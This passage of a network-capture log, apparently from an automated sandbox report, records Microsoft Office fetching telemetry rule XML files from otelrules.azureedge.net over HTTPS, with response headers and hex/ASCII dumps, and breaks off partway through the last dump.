2024-10-30 01:28:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:16 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:16 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 6d89998c-401e-0083-425b-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012816Z-r197bdfb6b4c8q4qvwwy2byzsw00000007tg0000000000ym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:16 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:16 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:16 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012816Z-16849878b78sx229w7g7at4nkg00000005hg00000000gxsy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:16 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:16 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:16 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:16 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: f493011a-501e-008f-5f2c-289054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012816Z-15b8d89586flspj6y6m5fk442w0000000da000000000319r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:16 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:16 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:17 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 19ae2231-801e-007b-0d9c-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012816Z-16849878b78bjkl8dpep89pbgg000000062000000000a6wa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:17 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:17 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012817Z-16849878b78qg9mlz11wgn0wcc00000006wg00000000ffpx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:17 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:17 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:17 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 54290c1c-d01e-008e-01bf-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012817Z-16849878b78xblwksrnkakc08w00000006k000000000h1hn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:28:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:17 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:17 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 4113dc96-c01e-008e-5a2a-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012817Z-16849878b78qf2gleqhwczd21s00000007gg00000000fv5t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:28:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:17 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:17 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 6d58be1b-301e-0052-189d-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012817Z-r197bdfb6b4b4pw6nr8czsrctg000000082g00000000d5gg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:17 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:17 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: a3881376-a01e-000d-19f4-27d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012817Z-r197bdfb6b4g24ztpxkw4umce8000000091000000000020w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:17 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:17 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:18 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012817Z-16849878b787bfsh7zgp804my4000000065000000000a77q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:18 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:18 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 4bda3d21-a01e-0053-54ed-288603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012818Z-15b8d89586fpccrmgpemqdqe580000000280000000005t74 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 